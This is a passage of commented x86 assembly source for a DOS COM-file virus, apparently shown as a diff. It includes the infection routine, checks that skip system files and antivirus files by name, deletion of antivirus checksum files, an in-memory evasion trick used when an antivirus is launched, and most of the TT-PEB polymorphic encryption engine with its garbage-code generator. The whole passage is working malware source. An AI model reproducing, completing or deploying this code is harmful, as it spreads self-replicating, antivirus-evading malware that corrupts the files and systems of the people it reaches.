mov di,offset os_files ; check if os file + call cmpre_names + jc exit_cmp1 ; carry = sysfile, leave it + + mov di,offset av_names ; check if av + call cmpre_names +exit_cmp1: + call pop_all + retn + +filenmav_chk: +; check if the filename is an antivirus. carry if it is + + call push_all + mov di,offset av_names + call cmpre_names + call pop_all + retn + +cmpre_names: +; DS:DX = pointer on path to file to check +; CS:DI = pointer on string (or strings) to compare the filename to + + mov si,dx +loop_change: + mov bx,si ; pointer on filename in BX +path_loop: + cmp byte ptr [si],0 ; end of filename + je end_path_loop + + cmp byte ptr [si],'\' + je delimitator + + cmp byte ptr [si],':' + je delimitator + + add si,1 + jmp short path_loop +delimitator: + add si,1 + jmp short loop_change ; set filename starting + ; point +end_path_loop: + mov cl,0 + mov si,bx ; SI pointer on filename + + cmp byte ptr cs:[di],0 ; end of string? + jne check_string + + clc ; no carry, name is ok + retn +check_string: + mov al,byte ptr ds:[si] ; AL = filename char + mov ah,byte ptr cs:[di] ; AH = compared char + or al,20h ; convert to lowercase + or ah,20h + + cmp al,ah + je char_match + mov cl,1 ; cl=1, name differs +char_match: + add si,1 ; both to next char + add di,1 + + cmp ah,'.' ; end of name to check? + je founded_dot + + cmp ah,20h + jne check_string +founded_dot: + cmp cl,1 ; if cl=1 at least one + ; char differs + je end_path_loop + + stc ; carry, ok name + retn + +loc_41: + jmp loc_45 + jmp loc_43 +loc_42: + jmp loc_44 + +infect_file: + mov word ptr cs:[finf_name],dx + mov word ptr cs:[finf_name+2],ds + + call push_all + call handler_24 + + call get_attrib + jc loc_41 + + mov word ptr ds:[orig_att],cx ; save attribs + + call open_ro + jc loc_41 + + call get_time + mov word ptr ds:[f_time],cx ; save file time and date + mov word ptr ds:[f_date],dx + + mov cx,5 + mov dx,offset orig_bytes ; read 5 bytes from head + call read_file + + cmp ax,cx ; check if readed 5 bytes + jne loc_42 + + cmp word ptr ds:[orig_bytes],'ZM' ; exe? + je loc_42 + + cmp word ptr ds:[orig_bytes],'MZ' ; exe? + je loc_42 + + cmp word ptr ds:[orig_bytes+3],'T2' ; already infected? + je loc_42 + + call lseek_fend ; get file lenght + cmp dx,0 + jne loc_42 + + cmp ax,0e000h + jae loc_42 ; Jump if above or = + + cmp ax,5 + jb loc_42 ; Jump if below + + mov ds:[f_length],ax + call close_file + + sub cx,cx + call set_attrib ; delete attributes + jc loc_41 + + call open_rw ; open in RW mode now + jc loc_41 + + call lseek_fend + + mov byte ptr [good_inf],1 + push ds + push es + mov ax,cs + mov dx,offset mem_buff ; mem for poly use + mov cl,4 + shr dx,cl + add dx,1 + add ax,dx + mov es,ax + + mov dx,offset tt_real_virus ; set poly params + mov cx,virus_length + mov bp,word ptr ds:[f_length] + add bp,100h + sub si,si + mov ax,6 + call ttpeb ; call poly engine + + call write_file + pop es + pop ds + + call lseek_fsta + mov ax,ds:[f_length] + + sub ax,3 + mov byte ptr [orig_bytes],0e9h ; jump to virus + mov word ptr [orig_bytes+1],ax + mov word ptr ds:[orig_bytes+3],'T2' ; marker + + mov cx,5 + mov dx,offset orig_bytes ; write new head + call write_file + + mov cx,word ptr ds:[f_time] + mov dx,ds:[f_date] + call set_time ; set orig time + + call close_file ; close file + + mov cx,word ptr ds:[orig_att] + call set_attrib ; set orig attribs + + call delete_crcs + jmp short loc_45 +loc_43: + call close_file + mov cx,word ptr ds:[orig_att] + call set_attrib + jmp short loc_45 +loc_44: + call close_file + jmp short loc_45 +loc_45: + call handler_24 + call pop_all + retn + +get_attrib: + mov al,0 + jmp short do_attrib +set_attrib: + mov al,1 + jmp short do_attrib +do_attrib: + lds dx,dword ptr cs:[finf_name] + mov ah,43h ; chmod + call orig_int21 + mov ax,cs + mov ds,ax + retn + +open_ro: + mov al,0 + jmp short do_open +open_rw: + mov al,2 + jmp short do_open +do_open: + lds dx,dword ptr cs:[finf_name] + mov ah,3Dh ; open file + call orig_int21 + xchg bx,ax ; handle in bx + mov ax,cs + mov ds,ax + retn + +get_time: + mov al,0 + jmp short do_time +set_time: + mov al,1 + jmp short do_time +do_time: + mov ah,57h ; set/get file date/time + call orig_int21 + retn + +lseek_fsta: + mov al,0 + jmp short lseek +lseek_fend: + mov al,2 ; lseek from end + jmp short lseek +lseek: + sub cx,cx + sub dx,dx + mov ah,42h ; lseek + call orig_int21 + retn + +read_file: + mov ah,3fh ; read from file + call orig_int21 + retn + +write_file: + mov ah,40h ; write to file + call orig_int21 + retn + +close_file: + mov ah,3Eh ; close file + call orig_int21 + retn + + +delete_crcs: +; deletes checksum files and such things + + mov dx,offset crc_files +loc_50: + mov di,offset mem_buff + lds si,dword ptr cs:[finf_name] + + push si + mov si,dx + cmp byte ptr cs:[si],'\' + pop si + jnz loc_52 + + cmp byte ptr [si+1],':' + jne loc_51 + + mov ax,word ptr ds:[si] + mov word ptr cs:[di],ax + add si,2 + add di,2 +loc_51: + jmp short loc_56 +loc_52: + mov al,byte ptr ds:[si] ; copy file name + mov byte ptr cs:[di],al + add si,1 + add di,1 + cmp al,0 + jne loc_52 + + mov si,offset mem_buff +loc_53: + mov di,si +loc_54: + cmp byte ptr cs:[si],':' + je loc_55 + + cmp byte ptr cs:[si],'\' + je loc_55 + + cmp byte ptr cs:[si],0 + je loc_56 + + add si,1 + jmp short loc_54 +loc_55: + add si,1 + jmp short loc_53 +loc_56: + mov si,dx +loc_57: + mov al,byte ptr cs:[si] + mov byte ptr cs:[di],al + add si,1 + add di,1 + cmp al,0 + jne loc_57 + + mov ax,cs + mov ds,ax + push dx + + mov ax,4301h ; delete file attributes + sub cx,cx + mov dx,offset mem_buff + call orig_int21 + + mov ah,41h ; delete file + mov dx,offset mem_buff + call orig_int21 + + pop dx + mov si,dx +loc_58: + cmp byte ptr [si],0 + je loc_59 + add si,1 + jmp short loc_58 +loc_59: + add si,1 + cmp byte ptr [si],0 ; two zeros means end + je loc_ret_60 + mov dx,si + jmp loc_50 + +loc_ret_60: + retn + +handler_24: + push ds ; install/uninstall virus + sub ax,ax ; int24h handler + mov ds,ax + mov ax,cs:[int24_off] + mov bx,cs:[int24_seg] + + xchg ds:[24h * 4],ax + xchg ds:[24h * 4 + 2],bx + + mov cs:[int24_off],ax + mov cs:[int24_seg],bx + pop ds + retn + +orig_int21: + pushf ; do a call to original 21h + call dword ptr cs:[orig_int21h] + retn + + +push_all: + pop word ptr cs:[return_addr] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp word ptr cs:[return_addr] + +pop_all: + pop word ptr cs:[return_addr] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp word ptr cs:[return_addr] + +return_addr db 0ah,04h ; temp stuff + +int24h_handler: + mov al,3 + iret + +av_executed: +; if a known antivirus (from the latter strings) is going to be run the virus +; will reput the old int21h handler in the chain. then the virus will +; encrypt itself (poly encryption using TT-PEB) in memory. using a small +; routine on the stack the virus will then erase its clean copy from the +; memory (leaving just the encrypted one) and jump far to the original +; int 21h routine that will execute the antivirus. at the return from the +; exec routine, cs:ip will be set to the poly decryptor generated in memory +; (since the virus will push on the stack also the cs:ip of that) and so +; the virus will be able again to get power + + pushf + call push_all + mov byte ptr cs:[poly_in_mem],1 + mov word ptr cs:[poly_segmem],cs + + mov byte ptr cs:[100h],0eah + + mov ax,word ptr cs:[orig_int21h] + mov bx,word ptr cs:[orig_int21h+2] + + mov word ptr cs:[101h],ax ; restore old int21h + mov word ptr cs:[103h],bx + + mov ax,cs + mov dx,offset mem_buff + mov cl,4 + shr dx,cl ; mem for poly + add ax,dx + add ax,1 + mov es,ax + + mov ax,cs + mov ds,ax + mov dx,105h ; poly params + mov cx,virus_length + sub bp,bp + sub si,si + mov ax,0Fh + call ttpeb ; call poly + + mov cs:[encvir_dx],dx ; save seg:off of the + mov cs:[encvir_ds],ds ; encrypted body in mem + call pop_all + popf + + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + pushf + + push cs:[encvir_ds] ; where int 21h will return + push cs:[encvir_dx] ; after the execution of the + ; antivirus + mov cx,6 + push cx + mov cx,0ca07h ; push 'retf 6' + push cx ; and 'pop es' + mov cx,0aaf3h + push cx ; push 'rep stosb' + + cli + mov word ptr cs:[jump_sp2],sp + mov word ptr cs:[jump_ss2],ss + sti + + push word ptr cs:[orig_int21h+2] ; where will the + push word ptr cs:[orig_int21h] ; ret jump + push es + mov cx,cs + mov es,cx + mov di,105h ; point on virus body in high + mov cx,virus_length ; memory + + db 0eah ; jmp far to the created +jump_sp2 dw 00h ; routine on the stack that +jump_ss2 dw 00h ; will delete the clear body + ; from memory and then execute + ; the int 21h + +; +; +; TT-PEB (Tricky Trout Plurimorphic Encryptor Builder) v 2.01 +; +; +; Entry parameters: +; AX = The low 4 bits are used as parameters to the poly: +; 1 bit: 1 force CS on decrypt operation (0 no CS:) +; [0 for files, 1 when body run in mem] +; 2 bit: 1 create garbage (0 no garbage) +; 3 bit: 1 create more garbage (0 less garbage) +; 4 bit: 1 create code to save (and restore at end) +; the AX register and the flags (this is do +; a push ax and pushf) +; [1 needed when body run in mem, since it is +; needed to preserve the return stuff] +; BP = Offset at which the code will run +; CX = Length of code to be encrypted +; DS:DX = Pointer on code to be encrypted +; ES:SI = Pointer on temp space for poly use +; +; On exit: +; AX = CX on entry +; CX = Length of generated code +; DS:DX = Pointer on generated code +; +; + +poly_marker db '[TT-PEB]' + +ttpeb: + cli ; store SS and SP + mov word ptr cs:[tt_saved_sp],sp + mov word ptr cs:[tt_saved_ss],ss + mov sp,cs ; set stack to our + mov ss,sp ; memory + mov sp,offset tt_stack + sti + + push bx + push si + push bp ; save some parameters + mov word ptr cs:[tt_saved_dx],dx + mov word ptr cs:[tt_saved_ds],ds + mov word ptr cs:[tt_saved_cx],cx + mov word ptr cs:[tt_saved_bp],bp + mov word ptr cs:[tt_saved_si],si + mov word ptr cs:[tt_saved_ax],ax + + mov ax,cs + mov ds,ax +poly_init: + mov byte ptr [pntr_reg],0ffh ; initialize all + mov byte ptr [cntr_reg],0ffh ; poly variables and + mov byte ptr [oper_reg],0ffh ; such + mov byte ptr [pntr_chdone],0ffh + mov byte ptr [cntr_chdone],0ffh + mov word ptr [rnd_pos],0ffffh + mov byte ptr [spec_cnst],0ffh + mov byte ptr [some_lock],0ffh + mov byte ptr [decr_init],0ffh + +; here the TT-PEB will create a table with offsets to garbage constructs +; (offsets are from the garbage_offsets table) to be used in garbage +; generation in the entire poly process + + mov si,offset garbage_offsets + mov di,2 +do_mem_tbl: + call get_random ; how many times will this + and al,3 ; adress figure out? + cbw + + mov cx,ax + mov ax,word ptr [si] ; get adress + + cmp ax,0 ; AX=00 if garbage_offsets + je mem_tbl_end ; table ended + + cmp cx,0 + je cx_zero + rep stosw +cx_zero: + add si,2 ; go to next entry in g_off + jmp short do_mem_tbl ; table +mem_tbl_end: + sub di,2 + shr di,1 + + mov es:[0],di ; nr of garbage adresses + mov ax,es + add ax,40h + mov es,ax ; where the decryptor + sub di,di ; will be created + + mov ax,[tt_saved_ax] + and ax,8 ; need to preserve AX and F? + cmp ax,0 + je no_saveaxf + + call get_random + and al,2 ; two ways to do it + cmp al,0 + je loc_66 + + mov ax,509ch ; 'pushf' 'push ax' + stosw + mov ax,9d58h ; 'pop ax' 'popf' for later + jmp short loc_67 +loc_66: + mov ax,9c50h ; 'push ax' 'pushf' + stosw + mov ax,589dh ; 'popf' 'pop ax' +loc_67: + push ax ; will store at the end of + ; the decryptor +no_saveaxf: + mov ax,[tt_saved_ax] + and ax,4 ; more or less garbage + cmp ax,0 + je not_toogarby + call garb_cntr + call garb_cntr ; garbageeeeee :) + call garb_cntr + call garb_cntr +not_toogarby: + call regs_set ; set one reg (cnt/pnt/op) + call garb_cntr + call garb_cntr + call regs_set ; set another reg + call garb_cntr + call garb_cntr + call regs_set ; set remaining reg + call garb_cntr + call garb_cntr + mov [dec_loop_start],di ; save offset where will + mov byte ptr [decr_init],0 ; decryptor jump to + call garb_cntr + call garb_cntr + call math_oper ; math oper on mem + call garb_cntr + call garb_cntr + call incdec_pntcnt ; pnt/cnt update + call garb_cntr + call garb_cntr + call incdec_pntcnt ; remaining pnt/cnt update + call garb_cntr + call garb_cntr + call check_counter ; check on counter creation + call make_cond_jump ; conditional jump for end + call jump_back ; long jump back to start of + ; decryptor + mov byte ptr [decr_init],0ffh + mov byte ptr [pntr_reg],0ffh ; reset reg uses + mov byte ptr [cntr_reg],0ffh + mov byte ptr [oper_reg],0ffh + + mov ax,[tt_saved_ax] + and ax,4 + cmp ax,0 + je not_toogarby2 + call garb_cntr + call garb_cntr +not_toogarby2: + mov ax,[tt_saved_ax] + and ax,8 ; need to preserve AX and F? + cmp ax,0 + je loc_71 + pop ax ; get the pops from stack + stosw ; and store them +loc_71: + mov al,0cbh ; store the retf + stosb + mov [encr_pnt],di ; save its position + + push es + mov ax,es + sub ax,40h + mov es,ax + sub di,di + mov cx,400h ; clear generation tables + mov al,0 + rep stosb + pop es + + mov si,[pntr_pos] + mov ax,[encr_pnt] ; set pointer assignment + mov es:[si+1],ax ; in decryptor (the memory + ; one! the definitive that + ; will be run will be put + ; later + push ds + lds si,dword ptr [tt_saved_dx] + mov di,ds:[encr_pnt] + mov cx,cs:[tt_saved_cx] + rep movsb ; copy virus body after generated + ; code + pop ds + + mov ax,es + mov ds,ax + + mov ax,offset return_ply + push cs ; push return adress on the stack + push ax + + sub ax,ax + push es + push ax + retf ; jump on encryptor + +return_ply: ; returning point after the encryptor + ; (hehe, decryptor :) ) has been + ; executed + sti + cld + mov ax,cs + mov ds,ax + mov si,[mate_pos] + mov al,[math_oc] + mov es:[si],al ; set the inverse math operation in + ; the decryptor + mov di,[encr_pnt] + mov byte ptr es:[di-1],90h ; put a NOP where the RET + ; was + mov si,[pntr_pos] + mov ax,[encr_pnt] + add ax,[tt_saved_bp] + add ax,[tt_saved_si] ; put starting value for + mov es:[si+1],ax ; memory pointer register + ; in the decryptor + push ds + lds si,dword ptr cs:[tt_saved_dx] + mov di,cs:[encr_pnt] + mov cx,10h + add si,cx + add di,cx + repe cmpsb ; check that body is encrypted + pop ds + jnz body_encrypted + + mov ax,es + sub ax,40h ; if not start again + mov es,ax + jmp poly_init +body_encrypted: + sub dx,dx + mov ax,es + mov ds,ax + sub ax,40h + mov es,ax + mov cx,cs:[encr_pnt] ; set return values + add cx,cs:[tt_saved_cx] + mov di,cs:[encr_pnt] + mov ax,cs:[tt_saved_cx] + pop bp + pop si + pop bx + + cli ; restore original SS:SP + mov sp,word ptr cs:[tt_saved_sp] + mov ss,word ptr cs:[tt_saved_ss] + sti + + retn ; TT-PEB ending point + +; + +regs_set: +; +; regs_set creates the inital assignments to the counter (tbl1_b), +; pointer (tbl1_a) and math operation register (tbl1_c). of course it +; first check it hasn't been done yet. +; + mov ax,3 + mov bx,offset table_1 + call tbl2addr + jmp ax + +table_1: + dw offset tbl1_a + dw offset tbl1_b + dw offset tbl1_c + +tbl1_a: + cmp byte ptr [pntr_reg],0FFh + jne regs_set + jmp short pntr_crea +tbl1_b: + cmp byte ptr [cntr_reg],0FFh + jne regs_set + jmp short cntr_crea +tbl1_c: + cmp byte ptr [oper_reg],0FFh + jne regs_set + jmp loc_81 + + +incdec_pntcnt: +; +; this routine: +; 1) decrements the counter reg (tbl2_b) +; 2) increments the pointer reg (tbl2_a) +; of course it first checks that it hasn't been yet done +; + mov ax,2 + mov bx,offset table_2 + call tbl2addr + jmp ax ;*Register jump +table_2: + dw offset tbl2_a + dw offset tbl2_b + +tbl2_a: + cmp byte ptr [pntr_chdone],0ffh + jnz incdec_pntcnt + jmp pntr_update +tbl2_b: + cmp byte ptr [cntr_chdone],0ffh + jne incdec_pntcnt + jmp cntr_update + +; pntr_crea creates the MOV pointer,offset_on_encr_code (offset is set near +; the end of the poly generation) +pntr_crea: + mov [pntr_pos],di +pntr_select: + mov ax,3 + mov bx,offset table_3 ; which reg to use as pntr + call tbl2addr + + cmp byte ptr [cntr_reg],al + je pntr_select + mov ah,byte ptr [oper_reg] ; be sure it isn't already + and ah,0fbh ; used + cmp al,ah + je pntr_select + + mov [pntr_reg],al + or al,0b8h ; mov opcode + stosb + add di,2 ; space for later assignment + retn +table_3: + dw 03h ; bx + dw 06h ; si + dw 07h ; di + +cntr_crea: +; +; cntr_crea creates the inital assignment to the counter register. +; there are three ways to do so in tt-peb: +; 1) tbl4_a directly sets value via 16bit mov (mov cntr16,value) +; 2) tbl4_b first assigns the value to the low 8bits of the counter reg +; and then to the high 8bits +; 3) tbl4_c first assigns the value to the high 8bits, then to the low 8 +; between the low 8 and high 8 bit set there will be some garbage. +; of course the tbl4_b and tbl4_c can't be used by 16bits only regs (bp,di,si) +; +; + call garb_rr1f ; get a rnd register + cmp al,[pntr_reg] ; not same as pointer + je cntr_crea + + mov byte ptr [cntr_reg],al + mov dl,al + cmp dl,5 ; bp 16only + je tbl4_a + cmp dl,6 ; si 16only + je tbl4_a + cmp dl,7 ; di 16only + je tbl4_a + + mov ax,3 + mov bx,offset table_4 ; for others randomly + call tbl2addr ; select the method + jmp ax +table_4: + dw offset tbl4_a + dw offset tbl4_b + dw offset tbl4_c + +tbl4_a: + mov al,dl + or al,0b8h + stosb + call get_random + mov ah,00h + mov cx,ax + mov ax,virus_length + cmp byte ptr [poly_in_mem],0 + je loca_1 + add ax,cx +loca_1: + stosw + retn +tbl4_b: + mov al,dl + or al,0b0h + stosb + call get_random + mov ah,00h + mov cx,ax + mov ax,virus_length + cmp byte ptr [poly_in_mem],0 + je loc_79 + add ax,cx +loc_79: + stosb + push ax + push dx + mov al,7 + call garbager + pop dx + mov al,dl + or al,0B4h + stosb + pop ax + mov al,ah + stosb + retn +tbl4_c: + mov al,dl + or al,0B4h + stosb + call get_random + mov ah,0 + mov cx,ax + mov ax,virus_length + cmp byte ptr [poly_in_mem],0 + je loc_80 + add ax,cx +loc_80: + xchg al,ah + stosb + push ax + push dx + mov al,7 + call garbager + pop dx + mov al,dl + or al,0B0h + stosb + pop ax + mov al,ah + stosb + retn +loc_81: + call garb_rr14 + mov byte ptr [oper_reg],al + or al,0B0h + stosb + call store_rnd_no0 + retn + +math_oper: +; +; math_oper creates the code that encrypts/decrypts data in memory +; + mov [mathpos],di + mov ax,[tt_saved_ax] + and ax,1 ; need to force CS: ? + cmp ax,0 + je loc_82 + mov al,2Eh ; force CS: + stosb + jmp short loc_83 +loc_82: + call garb_rr30 +loc_83: + mov ax,3 + mov bx,offset table_5 ; select enc/dec type + call tbl2addr + + mov dx,ax + mov [math_oc],dh ; store the inverse + cmp byte ptr [pntr_reg],3 + jne loc_84 + mov dh,7 +loc_84: + cmp byte ptr [pntr_reg],6 + jne loc_85 + mov dh,4 +loc_85: + cmp byte ptr [pntr_reg],7 + jne loc_85a + mov dh,5 +loc_85a: + mov ax,2 + mov bx,offset table_6 + call tbl2addr + jmp ax +table_6: +; +; the generated math operation should be: +; 1) tbl6_a: math operation using the value from the operation reg +; 2) tbl6_b: math operation using an immediate +; + dw offset tbl6_a + dw offset tbl6_b +tbl6_a: + mov [mate_pos],di + mov al,dl + stosb + mov al,byte ptr [oper_reg] + shl al,3 + or al,dh + stosb + retn +tbl6_b: + mov byte ptr [oper_reg],0ffh ; can use the oper_reg + or [math_oc],dh + mov al,80h + stosb + mov [mate_pos],di + mov al,dh + or al,dl + stosb + call garb_rr07 + retn + +table_5: ; ENC,DEC + db 30h,30h ; xor/xor + db 28h,00h ; add/sub + db 00h,28h ; sub/add + +pntr_update: +; +; pntr_update creates the code to update the pointer on encrypted code +; there are 5 ways in which the poly does this: +; 1) tbl7_a: inc pnt_reg +; 2) tbl7_b: add pnt_reg,1 (adding 1 as a byte) +; 3) tbl7_c: add pnt_reg,1 (adding 1 as a word) +; 4) tbl7_d: sub pnt_reg,-1 (subbing -1 as a byte) +; 5) tbl7_e: sub pnt_reg,-1 (subbing -1 as a word) +; + mov byte ptr [pntr_chdone],0 + mov ax,5 + mov bx,offset table_7 + call tbl2addr + jmp ax +table_7: + dw offset tbl7_a + dw offset tbl7_b + dw offset tbl7_c + dw offset tbl7_d + dw offset tbl7_e + +tbl7_a: + mov al,[pntr_reg] + or al,40h + stosb + retn +tbl7_b: + mov al,83h + stosb + mov al,byte ptr [pntr_reg] + or al,0c0h + stosb + mov al,01h + stosb + retn +tbl7_c: + mov al,81h + stosb + mov al,byte ptr [pntr_reg] + or al,0c0h + stosb + mov ax,01h + stosw + retn +tbl7_d: + mov al,83h + stosb + mov al,byte ptr [pntr_reg] + or al,0e8h + stosb + mov al,0ffh + stosb + retn +tbl7_e: + mov al,81h + stosb + mov al,byte ptr [pntr_reg] + or al,0e8h + stosb + mov ax,0ffffh + stosw + retn + +cntr_update: +; +; cntr_update creates the code to update the counter in the decryption loop +; there are 5 ways to do so in ttpeb: +; 1) tbl8_a: dec cnt_reg +; 2) tbl8_b: sub cnt_reg,1 (subbing 1 as a byte) +; 3) tbl8_c: sub cnt_reg,1 (subbing 1 as a word) +; 4) tbl8_d: add cnt_reg,-1 (adding -1 as a byte) +; 5) tbl8_e: add cnt_reg,-1 (adding -1 as a word) +; + mov byte ptr [cntr_chdone],0 + mov ax,5 + mov bx,offset table_8 + call tbl2addr + jmp ax +table_8: + dw offset tbl8_a + dw offset tbl8_b + dw offset tbl8_c + dw offset tbl8_d + dw offset tbl8_e + +tbl8_a: + mov al,byte ptr [cntr_reg] + or al,48h + stosb + retn + +tbl8_b: + mov al,83h + stosb + mov al,byte ptr [cntr_reg] + or al,0E8h + stosb + mov al,1 + stosb + retn +tbl8_c: + mov al,81h + stosb + mov al,byte ptr [cntr_reg] + or al,0E8h + stosb + mov ax,1 + stosw + retn +tbl8_d: + mov al,83h + stosb + mov al,byte ptr [cntr_reg] + or al,0C0h + stosb + mov al,0FFh + stosb + retn +tbl8_e: + mov al,81h + stosb + mov al,byte ptr [cntr_reg] + or al,0C0h + stosb + mov ax,0FFFFh + stosw + retn + +check_counter: +; +; check_counter creates the code to check if the counter is 0 so the loop +; has to finish +; there are 3 ways to do this: +; 1) tbl9_a: cmp cnt_reg,0 (using 0 as a byte) +; 2) tbl9_b: cmp cnt_reg,0 (using 0 as a word) +; 3) tbl9_c: or cnt_reg,cnt_reg + + mov ax,3 + mov bx,offset table_9 + call tbl2addr + jmp ax + +table_9: + dw offset tbl9_a + dw offset tbl9_b + dw offset tbl9_c + +tbl9_a: + mov al,83h + stosb + mov al,byte ptr [cntr_reg] + or al,0f8h + stosb + mov al,00h + stosb + retn +tbl9_b: + mov al,81h + stosb + mov al,byte ptr [cntr_reg] + or al,0f8h + stosb + mov ax,00h + stosw + retn +tbl9_c: + mov al,09h + stosb + mov al,byte ptr [cntr_reg] + shl al,3 + or al,byte ptr [cntr_reg] + or al,0c0h + stosb + retn + +make_cond_jump: +; +; make_cond_jump creates the conditional jump after the comparation of the +; counter register. the conditional jump will jump a few garbage instructions +; (generated in this routine) and the main jump to the start of the decryption +; loop (generated later in the jump_back routine). +; + mov al,74h ; jump zero + stosb + add di,1 + push di + + mov byte ptr [spec_cnst],0 + mov al,7 + call garbager + mov byte ptr [spec_cnst],0FFh + + pop bx + mov ax,di + sub ax,bx + add ax,3 ; 3 bytes for the jump_back + mov es:[bx-1],al ; set the offset to jump + retn + + +; + +; Creates the JMP back to the start of the decryption loop +jump_back: + mov bx,di + mov al,0e9h ; jmp opcode + stosb + mov ax,[dec_loop_start] + sub bx,ax + mov ax,bx + add ax,3 + neg ax + stosw ; back offset + retn + + +; + +; Get the number of random instructions to generate depending on given +; option to TT-PEB in AX +garb_cntr: + mov ax,word ptr [tt_saved_ax] + and ax,2 + cmp ax,0 + je gb_exit1 + + mov al,3fh + jmp short garbager +gb_exit1: + retn + +; Create some garbage instructions. Needs AL as a mask to limit max rnd +; instruction number +garbager: + mov cl,al + call get_random + and al,cl + mov ah,0 + mov cx,ax + jmp short garb_loop1 + +sub_37: + mov cl,al + call random_no0 + and al,cl + mov ah,0 + mov cx,ax + jmp short garb_loop1 + +; CX = number of garbage instructions to create +garb_loop1: + cmp cx,0 + je garb_loop1_end + + push cx + call sub_38 + pop cx + + sub cx,1 + jmp short garb_loop1 +garb_loop1_end: + retn + +sub_38: + push ds + mov ax,es + sub ax,40h + mov ds,ax + mov ax,ds:[0] + mov bx,2 + call tbl2addr + pop ds + + cmp ax,8000h ; if >=8000h then a special + ; construct has been choosen + jae loc_92 + + mov si,ax + call garb_compiler + retn +loc_92: + cmp byte ptr [spec_cnst],0 ; creation possible? 0=NO + je loc_ret_93 + + sub ax,8000h ; correct adress + call ax + +loc_ret_93: + retn + +garb_compiler: + cmp byte ptr [si],0ffh ; end of garbage line? + je loc_ret_97 + + mov ah,[si] ; get "command" to do + add si,1 + push si + mov si,offset garb_routines +loc_95: + cmp [si],ah + je loc_96 ; search the appropriate + add si,3 ; command + jmp short loc_95 +loc_96: + mov bx,[si+1] ; adress in BX + pop si + call bx ; build garbage + jmp short garb_compiler + +loc_ret_97: + retn + +tbl2addr: +; given as input the adress of a table (in DS:BX) and the number of elements +; in the table (in AX) this routine will return (in AX) the value of a random +; element of the table. this is expecially used to get the adress of a garbage +; or instruction generation routine from the engine tables + + push bx + push cx + push dx + mov cx,ax + call random_in_ax ; rnd in ax +loc_98: + cmp ax,cx + jb loc_99 + sub ax,cx ; sub until a good (< than max) + jmp short loc_98 ; nr is choosen +loc_99: + add ax,ax ; each addr is 1 word long + add bx,ax ; + base of table + mov ax,[bx] ; get the value + pop dx + pop cx + pop bx + retn + +; Table with reference to garbage creation routines +garb_routines: + db 00h + dw offset garb_rr00 + + db 01h + dw offset garb_rr01 + + db 02h + dw offset garb_rr02 + + db 03h + dw offset garb_rr03 + + db 04h + dw offset garb_rr04 + + db 05h + dw offset garb_rr05 + + db 06h + dw offset garb_rr06 + + db 07h + dw offset garb_rr07 + + db 08h + dw offset garb_rr08 + + db 09h + dw offset garb_rr09 + + db 0ah + dw offset garb_rr0a + + db 0bh + dw offset garb_rr0b + + db 0ch + dw offset garb_rr0c + + db 0dh + dw offset garb_rr0d + + db 0eh + dw offset garb_rr0e + + db 0fh + dw offset garb_rr0f + + db 10h + dw offset garb_rr10 + + db 11h + dw offset garb_rr11 + + db 12h + dw offset garb_rr12 + + db 13h + dw offset garb_rr13 + + db 14h + dw offset garb_rr14 + + db 15h + dw offset garb_rr15 + + db 16h + dw offset garb_rr16 + + db 17h + dw offset garb_rr17 + + db 18h + dw offset garb_rr18 + + db 19h + dw offset garb_rr19 + + db 1ah + dw offset garb_rr1a + + db 1bh + dw offset garb_rr1b + + db 1ch + dw offset garb_rr1c + + db 1dh + dw offset garb_rr1d + + db 1eh + dw offset garb_rr1e + + db 1fh + dw offset garb_rr1f + + db 20h + dw offset garb_rr20 + + db 21h + dw offset garb_rr21 + + db 22h + dw offset garb_rr22 + + db 23h + dw offset garb_rr23 + + db 24h + dw offset garb_rr24 + + db 25h + dw offset garb_rr25 + + db 26h + dw offset garb_rr26 + + db 27h + dw offset garb_rr27 + + db 28h + dw offset garb_rr28 + + db 29h + dw offset garb_rr29 + + db 2ah + dw offset garb_rr2a + + db 2bh + dw offset garb_rr2b + + db 2ch + dw offset garb_rr2c + + db 2dh + dw offset garb_rr2d + + db 2eh + dw offset garb_rr2e + + db 2fh + dw offset garb_rr2f + + db 30h + dw offset garb_rr30 + + db 31h + dw offset garb_rr31 + + db 32h + dw offset garb_rr32 + +garb_rr00: + movsb + retn + +garb_rr01: + push cx + mov ch,0 + mov cl,[si] + add si,1 + rep movsb + pop cx + retn + +garb_rr02: + lodsb ; String [si] to al + retn + +garb_rr03: + stosb ; Store al to es:[di] + retn + +garb_rr04: +get_random: ; output random byte in AL + + mov byte ptr cs:[tmp_store_ah],ah + +; cmp word ptr cs:[rnd_pos],0FFh ; first random? + db 2Eh,83h,3Eh,64h,0Dh,0FFh + jnz first_random + + in al,40h ; port 40h, 8253 timer 0 clock + mov ah,al + mov al,0 + mov word ptr cs:[rnd_pos],ax +first_random: + push si + push ds + mov ax,0F000h + mov ds,ax + mov si,word ptr cs:[rnd_pos] +look_randy: + mov al,byte ptr [si] + + cmp al,byte ptr [si+1] + jne ok_randy + + cmp al,byte ptr [si+2] + jne ok_randy + + cmp al,byte ptr [si+3] + jne ok_randy + + add si,1 + jmp short look_randy +ok_randy: + add si,1 + mov word ptr cs:[rnd_pos],si + pop ds + pop si + mov ah,byte ptr cs:[tmp_store_ah] + retn + +rnd_pos dw 98e3h + +garb_rr05: + call get_random + stosb ; Store al to es:[di] + retn + +garb_rr06: +random_no0: + call get_random + cmp al,0 + je random_no0 + retn + +garb_rr07: +store_rnd_no0: + call random_no0 + stosb ; Store al to es:[di] + retn + +garb_rr08: +random_noff: + call get_random + cmp al,0FFh + je random_noff + retn + +garb_rr09: + call random_noff + stosb ; Store al to es:[di] + retn + +random_in_ax: + call get_random + mov ah,al + call get_random + retn + +garb_rr0a: + and al,[si] + add si,1 + stosb ; Store al to es:[di] + retn + +garb_rr0b: + or al,[si] + add si,1 + stosb ; Store al to es:[di] + retn + +garb_rr0c: + and al,[si] + add si,1 + or al,[si] + add si,1 + stosb ; Store al to es:[di] + retn + +garb_rr0d: + mov cl,[si] + add si,1 + shr al,cl + retn + +garb_rr0e: + mov cl,[si] + add si,1 + shl al,cl + retn + +garb_rr0f: + cmp byte ptr [some_lock],0 + jne loc_106 ; Jump if not equal + mov byte ptr [some_lock],0FFh + call garb_rr19 + mov byte ptr [some_lock],0 + retn +loc_106: + call get_random + and al,7 + retn + +sub_47: + call garb_rr0f + mov ah,al + shl ah,3 + retn + +garb_rr10: + call sub_47 + call garb_rr0f + or al,ah + retn + +garb_rr11: + call sub_49 + call garb_rr0f + or al,ah + retn + +garb_rr12: + call sub_51 + call garb_rr0f + or al,ah + 